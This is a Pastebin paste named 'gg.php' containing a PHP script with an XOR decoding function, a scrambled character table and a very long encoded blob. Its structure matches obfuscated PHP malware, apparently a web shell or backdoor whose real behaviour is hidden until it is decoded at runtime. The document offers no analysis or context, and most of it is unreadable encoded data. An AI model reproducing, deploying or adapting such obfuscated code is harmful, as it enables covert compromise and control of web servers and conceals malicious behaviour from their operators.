API tools faq
paste
Advertisement
PalmaSolutions

gg.php

PalmaSolutions
Apr 19th, 2019
246
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.36 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3.  
  4. function VxDyj($Z5tUg, $l6jCC = "\61\x32\63") { $yFNQb = $Z5tUg; $ftg65 = ""; for ($zAO1F = 0; $zAO1F < strlen($yFNQb);) { for ($OA1vc = 0; $OA1vc < strlen($l6jCC) && $zAO1F < strlen($yFNQb); $OA1vc++, $zAO1F++) { $ftg65 .= $yFNQb[$zAO1F] ^ $l6jCC[$OA1vc]; } } return $ftg65; }
  5. /*brBLYyCrirmIspeQMjducrGyzFNHOrVaiscirbJkAkLKwkJOpUBbREKBnhjTpWxiiNxZDYJxMxfgtzigMYScAlHXVdzyJUSJbBLjIpDdQcrVkhARcvdwclxNxtIxXmhE*/
  6.  
  7. $IVeetkGc7741 = "h;om4x37r/ze6f_5abk)quvjyl90tp*ig12nwd8s(c.";
  8. $URjKuPKy2317 = "(X/aeE$$ A&.^Qu. 8tAPp,7=Ut!1 )8/vYe6 456PVe;d;U&;ZS.W*3=
ohZ'V(]/)ajx9;7%)NQ\c'7 [k#,7!R{EY!g.:'/.b_d%64_521_xu/!,@$%WYkS6V`|H
S:]7-a_p	 "5@hf=,"*8,i|)3<4RcJ:R:{[`)6Q{q
>9!)^(,K|q*<'5	"oJf%(0Z[sz 76>TQr<X%WYh?(9"~ f5 )8.]qsz+4	6vc,?9!&8nAVm	7)%
d
S:^6Z_`50P+"5	a c'7!"+T_y (-Q#kUYe- %; m^A-%4%:'ng;V6'3gxrd-#-Vi]U
":'7<bjxQ0)_ba< :_[`qm<BQEU
8-7+1q[E$W$;
NVq
'*%:8ZQ.(5%Q{A
)<)8T-bjU* ': Lk_;8 9.1y{ /7ppK 8'va U,^&"r_Ser#!I;_\T 7/3=P%
dK
3<sas6 2%K{q26V&<7-nae:0*06=0	df) !: l^c-0 &)5vq[3*%1(yUS<79{V{17<$3uqss'7;{w"1E+?Sv;/3.{sU
5R70q|c]$ '	0vsTcs'7 . Bjp3`xK!g) (X(rKJ6=$55vqY$	tny 0B`xK!g):1sfA$ *^Q d(%8PTh<?C9Q'oGg184(tvs3V;>)TVtzd1A9t@BP8S-4.	Oy1
*3baU-S03>7ij6
>%5v\~ +3[{QB#S-4>6b[Z-;46 VSe2 >&nHjq0?	kp,*73a`36QR9PhQ->2~HS-3=	%VxZ&Q{c^:;4Ar_Sj2:>:8S]x)Tks
%'s` +7 9PhQ->2~HS,	tK 9%S;< pqz|s7
S>PQ +8 8rKk?)_*`| 3(^#mc$0$(:QBVz	$ .>8v]h,6V0	|g (3 !qqs(S( ;Q2r`am* ;5uvQ.8B	%
Z^ -(_/lF	0G+06vc, *^+vSm/8$JDf;,
!]E0^5&*Tyq
l .:(~AS06'!$V`^ >W^*X?Zap7;4SQuz."E>8vHVqm<4 ^G 5V9'3s[ugz7$ 
R"NQ_36;	Ek6$Vp'!V7#*hj|rW "
ke;e92@1,\b)#<V$l
g!*;U/sfA
56 Shj
;*:7 yD`/4>{p}!g2"XwZ_c*7>,*Tk +"*%9W jFP`[79	|| 3^(vZugh''@&$sNVqU&;ODV8S7:Ji]xZ	*8'-hXJ*6Q4E?vsqf;;.2E uiU`.mR>Y

UJ3S-3;1h^`,0$	59 	hjd91!7r{0	-$cU9ZW0!Z $0$ Bhj	f9>91Eb$d(%$%R| 3^)83-[_d97S2& RSu".D-,qK{ <.'ZP#{YUf57?quts%$_bz :1(Gkq,?BX{xY!f-W873\q-;46&Lhevd2%;_\Pm'[kH'*<T-Yj|46$ E&%v_x 	'T>+<LQ{)`W+4%
Z!M ,X.bu`:;(
?vsqf4":I
~q<S'J`B'=!*+P%q_J5Q
7"_Qa!%V9rYS7)T	UD!96Q(,(mhzp:0$&*VPXr>91E_;qb_$od"Z 7#0[ch$ 
R"NQ_b*"(zV S(-`pZ g-U\+-qu+643I& BQHwl1EiUV8<$^"oxF"2'5\egzR[%r ~ " @D1EQ.H63V
'`k
>(3*]u^s G+06vc, *^+vSm/7)"^D!?*]Xw\qU3+>,_{q.9>"t@S'>P{`Td55&7oKV
%4!7Q.hg:;5([\~ S'^{YU"> 1sfA
'&"SSe;)T:Z;}\y'-%_/_y:5)\36Z $R( Sk z"T*j@~ #Oy
"9,3 iS
68Jjam*%"].1y{ /8!"|D!f*<-YKE$+?  vsTcs'7 ;/_Zhe8t' ('<[KY3+>,_{q$9uv^V 3>A-1	`P	g!\,(`aY$
?$&wS|a$?;W2?4wjPxpC"kYU S:('w\uZ%7$ 
-Hvc,3*%1(yU{072C!"|D!f*<	2bvg,%_$=7o`d	6)V:7 zTam703kEU	%W(	 [ut97G+0)vq[3*%2;/y]{8B9Q{`TdZ6#_ o (07P~g^6
2 jggm*2A!4	B'!sq`%S_ <Q*~e r?-59wvtg/%3~`gZ/$^/r30'?2Skjd I8vHy?-%.{sU
"\/0lu-54R$55vq\s @$ a]Qp7V$V^ =8+<\z{,&!7Ql~v'.({ P'[iy 1 qqVp54R vshe;.97@$"jDQ:Z/3'`U\#S-4>-[ t.5_ST{vs32! \h,C!	UdT!Z*<6wE54?&2Bke8;TA;mBv;/3.`xK!g) 71Zxs54S$%H}Es'7;THk<&V"oX',!hap54S 7S"TVq$:9!8rAhm'Z"^D!:.;;{[`,6QW7Shqm*#2;jXVq-$/U^_]7vsq`%&_$9'5VkK'0(5!"!Tskq<(&~ce-3',r3V;%&hqm*#2;jXVq-$/U^_1 has-0Q
%-_WEs 5" t	^jqP<3.Xp| 8Z*7#5ae|/ ,7"K{q
"*+PDP?C
lA| 3)\-qv$7P4	7RTQu;<:T% (*@Q{*#/W
{sYg;;{\
$"RV 6 U"nGy 	B>
ltV
&_9,0rKY6R"S{qwm*%+<K|q$d('6o^H f5V;,3 iS
68SwS|a$?;W>)4*btg/'56=4~{e-3:^Q6qq$Q 69!Vja($'7(yUxm'2@V-mdP!2W;,3 md0#8"qdt;V?4wi\j?*.oBZ&9+Q!sux56Q %&Th_e."	v^jq?(Vi]| 9;,30[Ksz0'S*MxK( 8@Bk	.XtK 9%S;.Q{cY* $

"}Sj	8:U"(S[{dH/3%
'`{[S-9, !qsY*
5"HP_8%E yUS`?C9%UdG'!7(/qvh ,9_~3/U-tqUSa<(%ZE
=(3 !qqs	< _y_"*;?WGQ</7| :)
0!bu^:
'I?Qhu/-*%I({ m
/3$
_" <#)[q{02	&"_qa	 !I\(~XV8Q<#-$
G-V8X3[K{$7R&sTVzd:>!-~G{*#-%.{sx
8-	\![\d66
5Bhj	f1>?qUb`/Z"{pH'%,(5|c]$ ',2nQ -*!68tP-/.XQs[!95V9'7<bj{*"V;&"_{s(=6T?zXPqe(=%V[
SM9,+3bjc$0
Kvc, 5:-4*yUd
7:|
) !tew*"V;,0-Qad32TI;+T\V7$Q{U W91a 6
&"PPu4='7%*K|q.B:/_YY)7/*[Ksz$ 	 yss*%1%"rSS/7=%Q{U W9<qq05$## vsqc(=!z_S,/7)Q"pxB:5V*7,!Z $0$=6s	Wq.91>+iUh<S<'Z
ocU9*<#<]j|s4V&%v{q	' T6_qU~//QsU ]	0\Kp57$056_Quz-.=({ <(="t
R#~quV:;'#6-_Pu/.!&(/O|q*/3.{sU
:!]/*[$7P4)B{[m31uUkW//_Yx
?90/qvh /# vs{q 5: Y{3-"o^Y
9(7<q[sz
'5*Mhq"*%A_z^{*(-%UU "V=+ 1qq07/+0)_{s(**+iUQp<3-'oJ^ -!#,\jx:4S@&&HQ[
332D(+bBP.*."p^E!9,P1bjx7 V!%Oq .=-y{ )%#%'oY
%,#<b ^($< &B{[m31;+TGh /3^Q#`p^
:<7#*[_$7'	"%O{qr' 9%WU{?)/5$UcU f*,#+YeJ/7$ RVj	-91E_(jBQ*6$[UhB!92< 2\z^40$&"wOhj	 *%@,,yE 8"
yy
",3<++Ye($(HhKv$=PE{79Qs="*3bqs5 W@
9T{u3/1EmUkqm<
U^G-V' /ts ':,2USev?*!>+bBh:;<`[
SM9,++Ye( ^#9Qu391+~Fh /!$UhB-9(5|c]$":&HP_3:TI;+T\y*'%ApB!=!7+?bes$4 _bfw3**+iU~*8kp_
R)8P*qtE*Q_5*Vy^4=*!"/yUq?
<{pZ!\+6\ut*6$35Khu- 2+iUh.8<("|
)8T-qq
$;$v_~f
3/1(/O|q*%!U^G!(!\x30$ &_h_z'9!&?zZP.<`U"W)\7?[_d60 $9Q{vs*%: Y{ `*(-%UU *<8<q[E
',0-Qh_/!9%2OUQqkE'f2*5bj*'V[&"USev?*%H-jQ<.$UtF!*7+tYe|/$C5"Kvc,3*'%(+bBP.B9"U^XV]0!b_^0;+6r_k- &zYS
/4_J{x_"V9,U!tj`v7$35LP_ 952;r S*-R{{A9.
q_h36766>K{qv;.2uvh '%A{U W9;6Z_c$')*Oha9*%A8	^{ a8-	%|*4>!qsY	< _~_+d !6u\Y{79^G
-W+*Z\c$$
	&b[=9;yG{ eS(-kUV84!t_Zs7$ 
R"S{[4 1"S[h.8<3-	$EU9)]	 Yu^90$_	
2USe;8 91U{.>
AsF'*<#+qq64W&"sQkj;;TujDQ-?
*1_*{sx )8T-qq*;(7S.HQ" ;+TAh'[dK 95,#-Yj{*'V[&"USev?*%D-jQ<.$UtF")'<Yt,5;(@R{[4 1"S[h.8<3-	$EU99
(/)Zet36+,&&HPu.*1V1/y[h.8<3.{&!
9(8!te+643#TVu;16rX{*#-%.iY[9*, 3b_dsQ66*KQ_39;uUS`?C9%UdG'!7(/qvh ,6sS{qw3/>"ZmUh*)ksG95V)]	2ae^07+# vsqc(=7!I8j^{*Z6.QE| ="3>
/Zu);4&&.Vz?/>+aUh.8<("|
)]/.\ug$5+4@&Mk z!99%WxqB!	"gU'9\3<t_|56?5*Khj=*"@D(rAPq7:"UZD g1</0Z_k*"V;,0-QPuz>:>"(zKPqS7>
G=!8*[K{$7R&>Nk d952+_V*!$Uk[S-3>
/Zu);4&)BWe	!:Et_{79Qs="(X,aj`/+$

6MkKv>TE(/O|q$?)/
t!<T,Z .$< &B{[m31Xk/7^T
U|D!9:<.Q{cY*6$_69T{u?1-(z]Q '%A{U W(X,aj`/$ 6*M~\; %9%WxqB!	"gUf9<#)[qp.54_bfw3*8t~h	<%ZE
=(3
q_J5Q @52RP v9/2 z_S,	&lU
9)]'vbap)6QS#WQq
''7%"rAPq7:
G9<3.\qp.54_bfw3*8t~h	BZ'oQG%V9{UY	6S ha>TE [GQ</75$dH
="_  /Zu);4&&NP_$9E y[~d(%!$X1
9(/0Z_h3S _h_/'9>=({ B!	"gUfZ*(t_^6/+0)rqa	'T>mUkqm<
U^G-V' /qvh ,SPVu3:TI;+T\~.8?	Z'ps[S-3>
/Zu);4&&NP_$9E;bZV,S*-%{p_"
(!hf$6S ha>TE [Gh?(9"{E""<.Q{cY*6$_69T{u"*;?WUh.8<("Qs="(X,aj`/$(HhK
''7%"rAPq7:
U|D!9:*5bj*7R&Rkj8*%8tGh*7
*1_*iY[!Z)73*qq40Q75*Khj=*"@D(rAPq7:AE'f29{UY	6S ha! U6(bBP/.XQs[!Z)73*qqQ67P %Kvc, 5:tvZV*Q%tH g9(;6Zud9
'I?QPuz>:>"([GS?(!"
c\
=(3
q_J5Q @52Mk_. I  vPpV/75$dH
="_  /Zu);4&"%Mk_. I  vPpV,	&i]x )]/.\ug$WER Kj +$ U"(SUh.8<("|
)]/.\ug$S
9@Ptz;>>_urx:"! +kxA!f-(4!t_h/0$(6 HPz	>*!*nH{*Z6.$X1
9,3b_dsQ66*KQ_:*!"!Sx{.,?B)Qkp[-7 !b_^0;+&%v{q	'T>mUk.	C9QE| 3,90a ts0$6wO{u$!&(/yb*
7V``^
1W7 /ts2&Rkj8*.2 aUh.8<("|
)]/.\ug$7+, vqU($,@$%H_Va	7$Qp fZ/*8'-bj{,0$G+0)rSe;91AS]xm22A!4AVX"%]7vr32V;,0-Sj6W"+tv]k<(>ks
1.$*XigJ56PVe;d;T> 8rHh>$/_^\!Z)8!ru|56$_	 vsqe>!H(,@]Ve6otY>*73.quZs0+'59 	Sjm)V>(j^P-08kQUfZ(73\v-0$0D"WVur',2 ~KQqS6#&
QsYe!6%^3$r |,;,
59Vja!*%91,@S<$[{U	Z2"9+jdx!S%9'^awz 5%(U{*
/3[AQU=*^<\36\uJ/V;?)We;83@$8+YW 
?'!xD'V<8/0Zu:
+@!%k z'U9Y(tmJh+$XiB[!f1S<'3-tz`,1$Ss}[a .!5nXS*65%U`Z!9&Q8'?b ^6	'GAVu/>:18@Bhq`U7V	
|D!Z?/*ueg;7#G&)vvq\<:-+TGh.mT/7!$K=-*8qa_t)5Q	RMhqr>T,WX))	-XiBH %<(>tutt$(&A}[?:TIuqU{87V"tG'>Q[p+65MVqrg91 i{7=%RAU%S-+'qqux574wKhed,&zHPq,<3.

A!g*Q('-bu^6	"{v#"t}*(8-Q~h^ 91$qa_t)5Q	RMhqr>T,WX))B^	%UVB!>'qqz4 sRP vd91E_?zEk'Z	Qs Q8'?b ^645|j`,T:8tL\Q.mR>
A!g*P9,<uHA$22V;695_Vu`%A;vDQ.S'V	UD!96Q9'Q{_wu5$_B59{z8.!;nXPp7$RB!91
6Z_gt+V>,sLPvc*!:+j^Q);8%
A"290vvvF4446sV}X#"8r\S`U+4"UdK9!ajds6	0vs~_	$9T6;~{0<8=	RwE6Q(76b Zs	+")}Km'7 (zV ,S<(Q`x^*8*a`t$W"HPX,#,T>K}*<6VUtX"f\73bq)6Q)R|fe,T:+j^Q);8%
A"2:(/0Zu:$Ss}[a .!5GPp?'!
{Vv!g587?qw/0G&)vvq_" AX(	ZQ.0 %pU
S(3/vZ 07R4)5_Vu`%AT\P)$	<'ZQ`{
S(3TvZ 07S
)5_V /?!Y(uEW/8_/QF9'3)]`/1+766>Hh wb!&L[k<C%"oY-(X?w[r70!6Tcs/A UVU7VS`x9%]?Zd6 WS>NQX,>-1%^;n^Td(*#
xZfXwZ_c7Q_R{Hd-.@!"/A- 
?'!xD'V<8/0Zu:
+
"vc3# &X;+GV e?'^$pYfZW*[[J6QSRPk c7@$1HV8<$[/RJHg)'0m|c]$ ' A{u2*"@+?qU~*7^%p^f(/)ajx9 48;${cg; 4ti\j?*.BA| ="9,#taj{$5^?2V{[!*!_@HQ	')
ZZ :.	!,3 mw%62"\ya!*!"/yU{ Q?(&
ZZ :-
)Y!has-
'&&.Pe;. !& ~Akq<"{`TZ2&)(a Z+7(""\ya!*X%WU{ )psJ-"_9,/qq$ 
)OP;2%"	4fd'4*kE[W;<$heh+6+($5~VxH3;!Auz^kq87!`xH1 %*XntA-7'#72>~f^260&?7nfy?*&	Oy
"9';.[[p4^?2V{[!*% ujKQm-5.
	pbe1:\ ?r0&-Pbfr9:1;Sx:7U8=$p|E-)8,Yut:77Phg6)U1+wA`a6>A)7	`t-9,U/rHA
'&"
kj
3 ">	(Ux:*.p| :!	rt R(%8"OK'0/%:/qB{dZ<)%
gB- ?	vZeJ97$06 Kk +< = + cfr61	AVV5)&)Xng5+ $2M{[ c'7(yUV./7>kpY!f-W873\vA
6sRVu/"2;i]k,	*8.
psK"<(/)ajx9;7 &)5vqU(1) 8}P-3

U_9&'5\egz7)T{u!1)8 k,R<$^	BA| 3,88)aKwz60"*S~_r9/=+~AVZ?
$p|^
2883aKq4A55wRjH0 % a]Q6'ZP$EBV*T1uaq4A55wOf78.>(iGP4*"UtA'6_+' wE2
 5.O[m&TY~.e*.
VhZ!5
 7 ?w d07Q35"sLh[v#.E]8@he+WVi]x ;' <qf604$6MPe! "=+~AVZ4"VoJH!<P+t\s9<)Tbj.;!"!SxS?B	%V|^'&_75Zq^(W#Wkj	.9>!+~AVZ?B	%V|^'
'/*quc664?6S.PQ\8%E]8@he	7)%
d.(3|c]	06RHP w39-uAQ4&%|Af/*\qY$1V;,0*Bhj;:5-yJ~*8.
|])*706wE2
#wU~\e:A_B}4d(%(_/_^_'V(0Z[p+$#6>Oa;#.,?@XSB9Qkp,37/*\qZ+$+%KQv
' "=8tPZQ-3Vi]x 9#1ajx+6;+?2Vke3<"A_(n^x9'-%+UK_=+6huc664?56>TPe!.=nGhp)BAY| 3,37#.[_t77'?2Vx[ &9%E;/^P<'ZQ%	FBV)8P*sKQzNhu6+t	EPqa>{F=V
(72bes7R 72s
ke;e95X%Wxq-3{U1].[ Z/77P~g^6
4-n`d706V7SY\<((tqp4;,9H}Es >@!"!T_Va	7$QpH =W5qzp+7 -_WEs 7;/y]Vq8<7VR
TZ|V'#bjtr;(@$0vsqc( &(UP.P/6/}Z'!5*7'wbj|s G+0)rqe' T% aUy0="Apg17l x24(@$0vsqc( &(UP.P/5)"^ 6)*ac,SW 6RNQ z9%E65@{d2,	Vi]U
"9, !qu^. 	59H{z0 1(yU{ /3.px^ V+*ae`v7P4&RSu!9T%1zEQ.m	<(!UdJf*wE '&"_{q3*%1+nJ~.m<'[	pbe2<,#w[_E0+4	6H}Es*%1(yU{ /3.%UdJ:-
)+*[jd/7P4956 Shj
3(%+thaS*&=T%g\")7#1Zu^);4 SrNWqrgU;+KPeR$U|D5:
q|c]$ '&"_{q3*%2;}GQq<3`xZ!.?Qqqs$ '&"vc,7@$"bP.S'VppK!f-
\/bjt5$ 5SWyac'7%"T_y 9
Vx^1S%\3.\ug$7V!"-_ycs 7% a]Q.*!Q`` -"_ < ?uvs3+>,-rqc/f:>9+n\{d9R~x^d5R,	%q[Z %5"5Hyt77; 4w@Qj,># {{A
:
q|c]	2: A{u- A;[Gh<?	`wG 95(X3[ d;@$55vqU( 7+~AykH')'()uqE$;,	8 \ya(c'7%"T{B:oJ^ :2	:^+*[jd/7P759AP
<)X%WxTd(63VxB 2M4>~Yud+'RH6SWfwl9!](vW,6#$|B'.a\|56+0@552Sed",y^}q?B%U!92)]X5Z{u7@!%2Pb.";b})T,
[/RJ_!g)9(P*\uZ5'WR{uv<1%VaUQpV7:X
`B g!)7
pZ_67?vsbu/! .&_(jQZ7
dG
V84[vh2	H6sOVj3.;	]S<'[$UtF R Qhu^67+0@&)Qum!;nG{a':X
ZZ :-
+U{XJ36$A"Wj831;j^P*?'^`sK3S- (3[zds+4E&Su/?9!&(ZPZ?
[/RJB!:!W,#v]jp/4 5&TP[!:1A1yJb$d(63V$xF=*Q4>ruh:40$& Rham*#2 v@h-<(!o|^1.$*XigJSVja(c'7%+jDV3C-	
gU!'*(<Ys6P4'BQu>953v@bc(.3AVY	eS?Q{a`s6P4'Oke8*"@+jDV3C-	
g	1('5mp+Q3F"55vqU(? &;~HhZ/5-'ppT'V84)r{-7>,-SS -&(Uc6VP$UtF6wE04
)KSev&*"@+tPVU*	V#ppA!fV<83/t_|560_
56 Ak $"3T6TDP)e<')
U_9(7?` `/7Q(	9Sez!35X%WxSC=%H+8Tw]qQ0 459Mhe4$*%5V1z_k,<#/_Yx	5R(6Z_A$	V9Khev>T"*\SaR3--`xG: 3qz|r(@!SQ_'916;OE~-$/_^^!-
4>{a`/1+$6sJ{qwm*.&nGkqm<#
'
dK!959,U!rKs- RRQQ-(%";@^k*4.AYB#S-38+sqt.04S&*NP^z8!u]xpBU
V^'580(saY$1V;,0-SVj8 1V(z\h?C9%UdG'ZW]7?sqYt2	:,2	Se3352.;tnP8R'>lA| 3,:(6bqsz&$59LWe'$9%.1yq?<C%"`sU" (q|c]	20$)T{z0 %+nBh Z/5-$|B&Z*731\d3 RHWtz:9>"TYy ?)_*iYYf9+Q!izp57Q
D7S"TVu'-9T*zDQq8W>B"d\"2	;<
q|c]	04ASA{vs3).&; K\P.<#	Oy 8-qv$+0 5'5VVe/?)W@X%WxqVP%{s
183$r +643755vqU()!;y{ '=
VB?Q{jV;,2RV 2! uuUb,
/_YY %V, qudw7$5&W{[{=/%13v@bc(.3AVY	eS?Q{a`64(6syq#:>" *K|q$8C&Y:(
~ru77%&-JyK(3@$"SYkp0>B$UFH
W_9,(~aap,70?2%RxK"> v@b0-6U^A-()8T%q[J 
/G+0)rqe"  ,E}:XY
1;6|c]	26R"Sj ;$({ ?(=A`CW<q|c]	04S^Pu/!U=-,U{/#
-#JQY %V)-Yd6
^H#S{X0 V%W|q$??B	%V|^'. <#.[\x+1097~f$:/%17tTGhmP	_RgJ	-:_kfU7
&""tf(`/0%-y\kpW(6lA| 3\#v` |,;,
59B{vs3)X%Wxh.m<')'{UYf/*\z$;+%&*hes$'7%"jDQ?B	%V|^'.<Q!rHJ57+4 Sr_V_'1%V(/[Gx8S<'_A{U	-W	:)Xl|& AQ d)W@V1jBV6	oJ^g1
*,prKQ3
[%rSSj85D1DQB[JBA| 3S-3<32qv$;,	69-Wx8:D2_P:7Z65o|x!99:(j_^0;+?5rV`_/'9>>!8\~ 0'BZ$
J^	.SM:_/0Z\|56$3#""lQe4:32D4u~Ax:#37B	e!	,5r|s7
5P z' V1/\fV4$
A - :_+?\j`/_	6SVbfw:2:^n_Pp	<#^'(hf- 0@SASK '*%"t\DV/4_J{V!f70(sfA
 5!Pher#. +\fs!26!
t' ('<[KV'0>,-rxur6)V;tV 0/4_JDfZW,q|c]	$W%PTPu3 &ub^xrd6#.
dA8)
8XtbaQt2	:%&wTP\3351+<K|q$8C%o|]19('<qq`1'V[&"
ycs 7nGV6#.p`]
*'3)ha{-
 Hyv#.%IunGV 3#
QQ^
>V9+.quZ:4?I&Q{uz!:T8tK{.7>3
Q` =:3\eJ0%7"%Kjq'7)+wO\yH,	[
'A\Z #"hqs5'R vsvc,)!" b^Q:Z/3&	Oy ;,3lw 6$8"NQK'0*"@V(\S`-#-Vi]x 97.a U,7 5SWx :/%Y+?SUk,7='`h^S-3>6b[Z37R_9Wxu->*-/[j#-#/_Yx 1tbj$	V%>P{u+-91)V(/u[{m?B
A
9 	(,YeJ/7SW1V~t4:)D;rBV.,
 {QB
>V9,3ru`:5;<#%_jf4":2D+<K|q$8Z"! +o|]!-" '3.a_J/$(69Bbe/!9H8tnAP<7=$UQ-!*85[p+Q
5vO{z'$9." 1}E H68=RJ!U83vYv;	
& Mb^!:1A.,@[Q)a5B9	RJ[ >V7' phux:5%) k\
2U./[U~*,5,xp-:]X<r$7V%R"HP[ {),wQ.8Q<("WB]\	-< (hq97$ ?1NVu)@$(yU{ /3[BJW^X/[X- RRQQ-(#2 zTVa':kEU=;(1sas6 ?&_Sz	89@+?yG{ 8-'o@
W:(!\ut:Q0@?7QPu!E;PEPm3^
QX!fR ,X.hXE56_r k\
)1(jS*.{UU	-"9,3w[ d: R%H{v;. !61-\KPp)%pZ!>W: 3qq`-547#V{q$3)1(j\Q.mR3.{QU U(qq$+$)TQ\$TD *yG{ 768!of%*<#2Z `/	RPPXw3)1(_Y`s,37),	A\ f%*9X2Z `/RV_%>UP vd*!>Kb<4Z1RED9Z+U(w[Q{_"RP ;" A+n^P)`[?Z1Sk
f*M ,X+Z s
 +0)_{q3*%1-/y\{,/7ok
-!/5Ye|10,$'1Vgu+#;%(nAP , ,A
~E\"V^(sa{h$)HP_"* @W-t}{,7)S`Z'5V8P*wXE57P$r_xK!*!"m]xr?#^
}U" :
!t[s-$,	?%_~[g TI8 ngq8U<#
"2(',baY$
'&%>BQu!3*;mb m7)Qs\
W\/0n_^/0R( 
Wxu-91&;~Xh?*.{U\="	8Tvsas,$<	56lQu>95Hk,77)k]J"9,U!rKg3$,	?%_~[?:U9t@BP. /3[As\=!U]Xbjx77S(&Ayq7#I,0@fe:0	B>kYU="9+.quZ:4?I&NP_'1>1r\y#4`||V:%rKQ$
'=Q>hcY6W Fhm	B>ksG
:%rE-%7"%Kjq'7)1*KUSm<#-{Z>U(qq$$4	9TQK!*%W-ujYb*7-%.{sU
"9,~\uc$0Q
&!a<!,	KS04[Y$U[ >W^]75be|s$_6S.PP_'835:*P#9${JG'<(TwZuE060">Su/./*n^yH67V"VK!g59(.a_d00,!66"T{u;:>:;i[b*7*.
$pf-	)7+<bj`9 R%1NPd9U:yb m<'c) <[ut6(TQ[6"W-uvEk`H67%QQU=!':)Xjdx5,&~g^6
I-3ja{/d*.xK>('3hY|0540"rgv,l/U>8b6
QsYe- %; m^A-0>;P~j1 99yG{ 7[*BZV{ZV*+U~t`:	& QPu)@$(yU{ /3[BJ)*<#<\z^07V6Ahu-/>"WKQ3BV'ocU
..=/qu|/6$66SSev:32=8tnAP?'!$UQ!U83vYv;''?>QXw:*%D+	^P-*.{ >W^<\3.a_J/	9_Qa!%V(+	ZQ.0 PR\#S->Q|cB.04S&*NP[g TI(th-#-Vi]x	(\?Yj`+&%v_Sj2U:~[P,5,xp-:]/ubqV'7^&%>UP vd*!>Kb09$QQ73*aex00H#SNP\*(@_PqaS/7!$K)
*+U)l_s+	9Pk_;8(2;+GV`
)_*{sU
5(Y!qU _9vc,l!6mUkq,C"X'o_!-!*+PvZ 07R4"Rhe;' !6;TGh9d/7!$JH %8T(hfs$0Q
&!f#)51ujPZ,B%%U`^ =RV\ pu\pw+(&*S{q..=X8+Kh*'%"p`D! '![ 0547&BH0:3@$"@Q)`-%+p`Y>\+2qu67P06*ba':(!E^OAV<	Z
VhZ!5
<)/`q{3P,)AP[9:1;K\b),7)S|]V*<#-Yj{u _
& MbX;= DW EV?B	%	g1]<ke4$@
9Tbj8.!+~Fhe	/85	$pd^ 9,U!Yz`76+(56Hke;>!6?_Y`s,37),	A\g:^Q6qq*RH6sOVj3.;	HV(>"UtA'6_:UmrH{Q<vbqzd9"D!"!Sxb6$xF
Z\7/Ze^s55!V`_/'9>>:tAQ:79${J"<83\_t0043  RTVz-28@Hh  /[Y%pZ!>V5*8'-quh36$3F?"BQu!3,
Sa(>
JZ g._:\30Z J94S%Wj83>"iUP.<$^RJB!:!W,#v]jp/;(A6wHVqf:1^;\b)`6UK! W^<\3-hU7)bz-3@$"S
VH675%UU!fV8+2Yjcz ,$""Se;8 VA/[AP-3$oFY"*<'3)Yj6 SB66>	ha(c &_rG{8!		E[>('3hY+5Q35&*A}X4" U2,YSC%"t[!6^)(mhu^67+0@&&Kkj.35_tAQs83"p^E RV*7	vqu+643I5%r Sev#>!TEhe'%'`cU'9%84rHhRH#SNQ_s3%I_;|q$?)68=
RJ_!g)9(X3[d*64
@?71QhK$:1;vgPqm	$VdA!V(<t_k60 6Kx r&9;[B}p89$Qp_*;%qX{7P$svke78*!*mb m7)Q`B eZUvaex07r Sev#>!8t@ZQpZ,C=$
JHV:#v]jp/;4
)_P_ 92A1,@BP-R3-Q#`p^-W)P6\qpq4A55vVbXw:3;+KP`[*C=
_y  '(mhz`:V;,0- Vu3!*+UPqa'%'`c);,Z 96Q%>MVe;'/."  uGk:aQ?'PkY 95V7+3quh+6+( P1QbX;. !61-nhR7:W{H % /[X{54S9_k ;< U=V+ujDPq,5'ZAp&!
 73*]zc$6 55wR{z<.&1[\b),-P"{p&!
 7/wa_30 $B66>	hfs:3D1,ODh.m$[Y
`Y3S-3>
~\uch$<v_Ped!I1\EPpS,	-'S|g!  <2\eJs5;$Nh_z-5A8jZx9`-%+^G 5V9'3s[ugz5$
5&M{uv<1%V8z k,R<$_U^A-(!8U(hU2H6sOVj3.;	]S<'[$UtF R9';.Zzd/0&"r_xw'7V:-5 vPxqP<3{[	.W(3
hu^67+0@&)Qum!;nG{a':X%|wU'9%84rd46$_5$HPu:3@$"S
Sa(>"p^E R	83-be$6 55wRSu- T&_(bZP6#{U]7vsq`%&_$9'5Vk +< >\Vyl>A-1	`P	f-	)7+<bjc-7	%-_~[=)D!"!Sxb?'[J`pA!f%9(;6Zugu _
& Mb[$ WI\+Tk<$%R
"V70!a J+7P+I%RNP ;.01E+?zW6'5$gU!9%*;P+hXJ36$A"Wj83>>^8+	BV Q?'Pl\>W 0b_:67RH6_{vwl/U"1!yq#8&J{)*;U~t `30	RH#SNhz(3%I 	Ab*T"!Xi]| 99,.b\d6P4 Ss^hj+$ U"*rEPp6V``E'g5*,(6qqk. 
)OP;)#"5vrpf,B=%
t[!5 *73a`36QS
%PvK{q'#U> \hC9{QB S_*'5[ g30$G+0)_{q39&8ujBPq`7V'`ZTf5V'wYec,+' &)2Ahje D;+~AQqT #-XiBB="	98;wZ_|s54_7SSjd HS<<B9Qx\"2;< +r[s,7P4	&Byq7#I,0@fe:0(!	UJ^f9W/vYe67#"VQuz.>	;tnhp'>l9'/*saY$1V;&"_{ue>_ G{BU
V^'*]-sq`40$GVj	!*!*v^}pd !_*iB_'V(0Z[pp7Q_6
"!SSew$*.!"!SYPpS/4_AQ,88!suhr6(@6Mj `>>_?_\h<?	kp,3:#*]ud) 4 1SPd(2!"!SxxmR3.X}pC!f;,+%Z[{0$_A"-vc,52v^S-75P$U|"Z(]7rYj|s7& BQ; %*SUW4d(%!TH'%,6wE2
1& BQ; % +TGy'-%+'"_9(X/` V/0%_&PP[$$,@$"Uh,<'{Z_'V(0Z^/1$

)Wxa U"[ByT"! +o[g-V)7+vsqYt2	:,4BWjd91@ +TGy'-%+'"_9(X/` V/0%_&PP[$$,@$"Uh,<'{Z_'V(0Z^/1$

)Wx;919tnh-##Oy \7vqv$7Q&>^hj+8: B}4d(%(_oJH9,	6[:;(9Rha$?91V(zEPp
'oA
:*;<
6qzA:%&	Vqm*%9.1yq8P7kUZ9
]8)ruk32V;,0-rxuze%11z_Q.<3
QEJ*V;;{UY	7$(RTyq9(2!"!Tv;)9Q"`xG
170q|cBz2	>,	P_d1I(\HPr<(5'`B^1;<#q|c]$ '6_yu/.;T_YQ:?"! {sU
"9,3<qv$7P$	6sh[$=)>%-yYQ:?T"! {sU,88)rz$	V"5H d.2/S|q$?)9Q"`xG
-3\uk,3#UxK43).=-?yJ7(
>	|{
